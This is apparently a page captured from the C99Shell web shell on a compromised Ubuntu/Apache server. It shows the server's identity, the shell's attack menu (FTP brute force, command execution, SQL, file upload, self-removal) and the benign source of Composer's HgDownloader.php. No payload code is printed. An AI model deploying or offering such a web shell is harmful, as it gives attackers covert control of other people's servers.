!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/composer/src/Composer/Downloader/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HgDownloader.php (3.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Downloader;

use 
Composer\Package\PackageInterface;
use 
Composer\Util\ProcessExecutor;
use 
Composer\Util\Hg as HgUtils;

/**
 * @author Per Bernhardt <plb@webfactory.de>
 */
class HgDownloader extends VcsDownloader
{
    
/**
     * {@inheritDoc}
     */
    
protected function doDownload(PackageInterface $package$path$urlPackageInterface $prevPackage null)
    {
        if (
null === HgUtils::getVersion($this->process)) {
            throw new 
\RuntimeException('hg was not found in your PATH, skipping source download');
        }
    }

    
/**
     * {@inheritDoc}
     */
    
protected function doInstall(PackageInterface $package$path$url)
    {
        
$hgUtils = new HgUtils($this->io$this->config$this->process);

        
$cloneCommand = function ($url) use ($path) {
            return 
sprintf('hg clone %s %s'ProcessExecutor::escape($url), ProcessExecutor::escape($path));
        };

        
$hgUtils->runCommand($cloneCommand$url$path);

        
$ref ProcessExecutor::escape($package->getSourceReference());
        
$command sprintf('hg up %s'$ref);
        if (
!== $this->process->execute($command$ignoredOutputrealpath($path))) {
            throw new 
\RuntimeException('Failed to execute ' $command "\n\n" $this->process->getErrorOutput());
        }
    }

    
/**
     * {@inheritDoc}
     */
    
protected function doUpdate(PackageInterface $initialPackageInterface $target$path$url)
    {
        
$hgUtils = new HgUtils($this->io$this->config$this->process);

        
$ref $target->getSourceReference();
        
$this->io->writeError(" Updating to ".$target->getSourceReference());

        if (!
$this->hasMetadataRepository($path)) {
            throw new 
\RuntimeException('The .hg directory is missing from '.$path.', see https://getcomposer.org/commit-deps for more information');
        }

        
$command = function ($url) use ($ref) {
            return 
sprintf('hg pull %s && hg up %s'ProcessExecutor::escape($url), ProcessExecutor::escape($ref));
        };

        
$hgUtils->runCommand($command$url$path);
    }

    
/**
     * {@inheritDoc}
     */
    
public function getLocalChanges(PackageInterface $package$path)
    {
        if (!
is_dir($path.'/.hg')) {
            return 
null;
        }

        
$this->process->execute('hg st'$outputrealpath($path));

        return 
trim($output) ?: null;
    }

    
/**
     * {@inheritDoc}
     */
    
protected function getCommitLogs($fromReference$toReference$path)
    {
        
$command sprintf('hg log -r %s:%s --style compact'ProcessExecutor::escape($fromReference), ProcessExecutor::escape($toReference));

        if (
!== $this->process->execute($command$outputrealpath($path))) {
            throw new 
\RuntimeException('Failed to execute ' $command "\n\n" $this->process->getErrorOutput());
        }

        return 
$output;
    }

    
/**
     * {@inheritDoc}
     */
    
protected function hasMetadataRepository($path)
    {
        return 
is_dir($path '/.hg');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.1001 ]--